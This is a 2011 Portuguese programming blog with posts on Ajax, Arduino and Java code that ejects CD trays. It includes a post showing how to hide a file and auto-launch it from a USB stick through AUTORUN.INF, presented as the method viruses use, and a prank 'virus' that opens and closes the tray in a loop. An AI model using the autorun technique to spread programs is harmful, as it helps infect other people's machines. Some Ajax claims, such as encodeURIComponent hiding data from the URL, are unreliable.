terça-feira, 18 de outubro de 2011

Mais Ajax

Durante bom tempo tive a oportunidade de trabalhar com Ajax e considero a linguagem de alto potencial. Mais códigos então:

---------------------Coloque no <Head>--------

<script language="JavaScript">

function AjaxRequest()
{
     var Ajax=false;

     if(window.XMLHttpRequest) //mozilla,safari
       Ajax=new XMLHttpRequest();
     else if(window.ActiveXObject) //IE
     {
       try{
         Ajax=new ActiveXObject("Mxxml2.XMLHTTP");
       }catch(e){
         Ajax=new ActiveXObject("Microsoft.XMLHTTP");
       }
     }
     return(Ajax);
}




function chamajax(valor,nomeporta)
{


alert(valor+" "+nomeporta);

var refnomeporta = nomeporta;
var meuvalor = valor;


    Ajax=AjaxRequest();
          if(Ajax)
          {
            with(Ajax)
            {
                v_proc="atulizasistema.php?idporta="+encodeURIComponent(refnomeporta)+"&valor="+encodeURIComponent(meuvalor);

                open("POST",v_proc,true);

                onreadystatechange=function() {

                  if(readyState == 4)
                  {
                    if(status == 200)

                      document.getElementById("exibirAqui").innerHTML=responseText
                    else
                      alert("Erro!O Sistema não obteve resposta do servidor.");
                  }
                }
              setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=iso-8859-1");
              send(null);
            }
}
</script>

---------------------

O código em questão apresenta algumas coisas interessantes. Um disparo Javascript envia duas variáveis valor e nomeporta que podem ser variáveis de qualquer tipo. O Ajax chama o arquivo atulizasistema.php enviando as variaveis como parametros. Detalhe no comando encodeURIComponent() que vai codificar as variáveis para que elas não apareçam na URL durante o envio. O comando:
document.getElementById("exibirAqui").innerHTML=responseText
Vai chamar o atulizasistema.php e colocar o arquivo inteiro no lugar da tag com a id referida "exibirAqui" que deverá ficar em alguma parte do código onde o Javascript é disparado. Algo como:

<div id="exibirAqui">

Vale lembrar que o Javascript pode fazer dois caminhos para uma variável, no caso acima a variável foi colocada dentro do HTML. Para fazer o inverso, trazer a variável do HTML para o Javascript apos a chamada o comando seria:

var valorCapturado=document.getElementById('idDiv').value;

O contrário também funciona:

document.getElementById('idDiv').value=valorReceber;



Mostrarei mais sobre o potencial do Ajax em Posts futuros.


domingo, 16 de outubro de 2011

Executável Oculto


Muitos vírus utilizam a técnica que vou descrever. Todo dispositivo que possui armazenamento de arquivos é capaz de fazer isso. Ao conectar a pen drive no computador um arquivo autoexecutável é chamado e a partir de um arquivo oculto um vírus é copiado e executado dentro da máquina.

Primeiro, para um arquivo que geralmente não é visível não é possível de ser selecionado para ser excluído. Para tornar o arquivo oculto, renomeie-o colocando um ponto na frente. Se o arquivo for Eject.jar então ficaria: .Eject.jar
Logo que o arquivo for renomeado ele irá desaparecer da pasta, mas na verdade ele continua lá. E, para visualizá-lo mesmo no modo, basta ativar na janela de navegação a visualização de arquivos ocultos.

Segundo para a chamada. Abra no bloco de notas um arquivo com o nome de AUTORUN.INF e dentro dele coloque as seguintes linhas:


[autorun]
shellexecute=.Eject.jar

ou apenas


[autorun]
arquivoaexecutar.exe


Pronto, basta conectar sua pen drive no computador e ele abrirá o arquivo automáticamente. Por default esse código funciona em Windows 95, 98, XP, ME e 2000 e pode ser usado mesmo em cds. Esta é a forma que o sistema entende que deve executar um arquivo logo que a pen drive for colocada. E o arquivo a ser executado pode ser um .EXE de diversos tipos.

Cuidado na hora de dar o nome ao arquivo. Ao criar um novo documento de texto o sistema poderá salvar automaticamente com o nome de AUTORUN.INF.TXT e nesse caso não irá funcionar.

CUIDADO: Não me responsabilizo pela forma como este post for utilizado. O arquivo de manipulação de drives é apenas uma amostra para níveis de conhecimento de segurança, e desenvolvimento com segurança, que todo Bacharel em Sistemas deve conhecer e compartilhar.

Comandos de Drive de CD no Windows


O arquivo abaixo possui a finalidade do código do post anterior, porém funciona no Windows. Interessante como o programa pode crescer! Este código foi capturado na internet e alterado e com ele foi possível fazer um novo formato de executável que funciona tanto em Linux quanto Windows. E, para isto, bastou um IF solicitando o tipo de sistema operacional para escolher qual dos dois algoritmos o sistema irá executar. Este programa executa comandos do Visual Basic dentro do Java. No próximo post vou demonstrar como transformar este arquivo em um executável oculto.

import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;


public class JEjectDrive {

    // Array contendo as letras das unidades de CD/DVD
    private List<String> driver = new ArrayList<String>();

    /**
        *
        */
    public JEjectDrive() {
        this.getDriver();
    }

    /**
     * Método utilizado para executar os scripts em VB.
     *
     * @param script
     *            Código em VB a ser executado.
     * @return Retorna toda a saída da execução.
     * @throws java.io.IOException
     */
    private String executeVBScript(String script) {
        String output = "";
        String line = null;

        try {
            File f = File.createTempFile("tmp", ".vbs");
            f.deleteOnExit();

            FileWriter fw = new FileWriter(f);
            fw.write(script);
            fw.close();

            Process p = Runtime.getRuntime().exec(
                    "cscript //NoLogo " + f.getPath());
            BufferedReader input = new BufferedReader(new InputStreamReader(p
                    .getInputStream()));

            while ((line = input.readLine()) != null) {
                output += line;
            }

            input.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        }

        return output;
    }

    /**
     * Método para checar as unidades existentes.
     */
    private void getDriver() {
        StringBuilder sb = new StringBuilder();
        sb.append("Const DriveTypeCDROM = 4\n");
        sb
                .append("Set oFSO = Wscript.CreateObject(\"Scripting.FileSystemObject\")\n");
        sb.append("Set oDrives = oFSO.Drives\n");
        sb.append("For Each Drive in oDrives\n");
        sb
                .append("If Drive.DriveType = DriveTypeCDROM Then Wscript.Echo Drive.DriveLetter End If\n");
        sb.append("Next");

        String dr = executeVBScript(sb.toString());

        for (int i = 0; i < dr.length(); i++) {
            driver.add(dr.substring(i, i + 1));
        }
    }

    /**
     * Método para abrir/fechar a bandeja do CD/DVD com opção do usuário
     * fecha-lá.
     *
     * @param drv
     *            Letra da unidade para abrir.
     * @param msg
     *            Mensagem perguntando se quer fechar.
     * @param title
     *            Título da Mensagem.
     */
    public void eject(String drv, String msg, String title) {
        if (driver.contains(drv)) {
            StringBuilder sb = new StringBuilder();
            sb.append("Set oWMP = CreateObject(\"WMPlayer.OCX.7\")\n");
            sb.append("Set oCD = oWMP.CdromCollection.getByDriveSpecifier(\"");
            sb.append(drv);
            sb.append(":\\\")\n");
            sb.append("oCD.Eject\n");

            if (msg != null && title != null) {
                sb.append("If vbOK = MsgBox(\"");
                sb.append(msg);
                sb.append("\", vbOKCancel, \"");
                sb.append(title);
                sb.append("\") Then\noCD.Eject\nEnd If");
            }

            String dr = executeVBScript(sb.toString());
        } else {
            throw new IllegalArgumentException("Unidade " + drv
                    + " não encontrada");
        }
    }

    /**
     * Método para abrir/fechar a bandeja do CD/DVD.
     *
     * @param drv
     *            Letra da unidade para abrir.
     */
    public void eject(String drv) {
        eject(drv, null, null);
    }

    /**
     * Método para abrir todas as bandejas de CD/DVD
     */
    public void ejectAll() {
        StringBuilder sb = new StringBuilder();
        sb.append("Set oWMP = CreateObject(\"WMPlayer.OCX.7\")\n");
        sb.append("Set oDrv = oWMP.CdromCollection\n");
        sb.append("If oDrv.Count >= 1 Then\n");
        sb.append("For i = 0 To oDrv.Count - 1\n");
        sb.append("oDrv.Item(i).Eject\n");
        sb.append("Next\nEnd If");

        String dr = executeVBScript(sb.toString());
    }

    /**
     *
     * @return Retorna as letras das unidades de CD/DVD
     */
    public String[] getDrivers() {
        return driver.toArray(new String[driver.size()]);
    }

    /**
     *
     * @param args
     */
    public static void main(String[] args) {
        JEjectDrive je = new JEjectDrive();

        for (String drv : je.getDrivers()) {
            System.out.println("Unidade encontrada: " + drv);
            je.eject(drv, "Deseja fechar a gaveta?", "CD/DVD");
        }

        je.ejectAll();
    }
}

CUIDADO: Não me responsabilizo pela forma como este post for utilizado. O arquivo de manipulação de drives é apenas uma amostra para níveis de conhecimento de segurança, e desenvolvimento com segurança, que todo Bacharel em Sistemas deve conhecer e compartilhar.

terça-feira, 11 de outubro de 2011

Comandos de Drive de CD em Linux

O comando seguinte serve para a abertura do drive de CD. O comando é de Shell, mas a chamada está sendo feita no Java.

Runtime.getRuntime().exec("eject /dev/cdrom");

E para fechar

Runtime.getRuntime().exec("eject -t /dev/cdrom");

Como o comando é Shell então esta execução só funciona no Linux (*nix).

Pode-se pensar num principio de um virus inofensivo que abre e fecha a gaveta 10 vezes.


import java.io.IOException;

public class Eject {

    public static void main(String[] args) {

        int v=10;
        for (int i = 0; i < v; i++) {

            try {
                Runtime.getRuntime().exec("eject /dev/cdrom");
                Thread.sleep(2000);
                Runtime.getRuntime().exec("eject -t /dev/cdrom");
                Thread.sleep(2000);
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (InterruptedException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
    }
}

O detalhe é que o LOOP é feito apenas 10 vezes. Se estiver em um "while(true)" será necessário "matar" o processo ou reiniciar o computador se o usuário não possuir a permissão.

O detalhe de efetuar um comando em Shell pelo Java  é que o computador pode achar que é o sistema operacional que está fazendo a chamada da execução.

Exporte em um arquivo .jar e você poderá efetuar a execução dele em qualquer ambiente Linux (*nix). Não esqueça de dar a permissão de execução ao arquivo.

O programa acima foi feito em parceria com o Márcio Ishida colega de trabalho que também desenvolve em Java.  Desenvolver em dois facilita na hora de ter ideias e dessa forma estamos trocando códigos e melhorando conforme aparecerão nos post's seguintes.

CUIDADO: Não me responsabilizo pela forma como este post for utilizado. O arquivo de manipulação de drives é apenas uma amostra para níveis de conhecimento de segurança, e desenvolvimento com segurança, que todo Bacharel em Sistemas deve conhecer e compartilhar.

Arduíno Versus PIC

Um novo mundo está surgindo com uma forma de tecnologia que se conhece pelo termo Open Hardware. Open Hardware nada mais é que ter várias placas de circuitos eletrônicos, com finalidades diferentes, que se comunicam entre si. O Arduíno é a principal ferramenta que está trazendo a luz desse novo mundo. O microcontrolador mais famoso até hoje era o PIC. Porém, quando comparamos o PIC com a facilidade do Arduino o PIC acaba ficando para trás. O PIC necessita de uma memória que geralmente precisa de um soquete e um software específico. Para desgravar a memória uma luz ultra-violeta quando for regravável. O Arduino já vem numa placa pronta com memória FLASH e basta conectá-la no computador ou notebook pela USB. A IDE do Arduino é muito simples de se usar e ainda vem com vários programas na memória para as operações mais utilizadas. O processador utilizado é o ATMega328 e a frequencia é de geralmente 16MHz. O Arduino se comunica através de várias portas que podem ser setadas como entradas ou saídas de sinais analógicos e digitais. Efetua transmissão utilizando protocolo RS-232 através da porta USB. E pode se comunicar com sites da web, além de capturar dados de diversos tipos de sensores e ainda fazer diversos tipos de controles que podem ser programados tanto nos sites quanto internamente.

Java Comandos de Propriedades do Sistema

Os comandos abaixo são muito úteis para exibição de diversos dados do sistema. O primeiro exibe o tipo de Sistema Operacional. O segundo exibe diversas propriedades de sistema.

//captura o SO do usuário      
 System.out.println(System.getProperties().get("os.name"));

OU

// lista todas as propriedades da maquina
System.getProperties().list(System.out);

segunda-feira, 10 de outubro de 2011

Shields Arduíno

A principal vantagem do Arduino é a prototipagem. É muito rápido fazer um projeto com o Arduino e além disso existem os Shields. Os Shields são placas que podem ser conectadas no Arduino. Cada Shield possui uma finalidade diferente. Existem Shields para displays, conexão com a internet, controle de motores, controle de relès, transmissão bluetooth, mp3 e vários outros . No link abaixo segue uma lista dos principais shields do Arduino disponíveis. Como o Arduino é tecnologia Open Hardware então o circuito é livre para ser modificado e a comunidade do Arduino desenvolve em equipe novos protótipos.

http://shieldlist.org/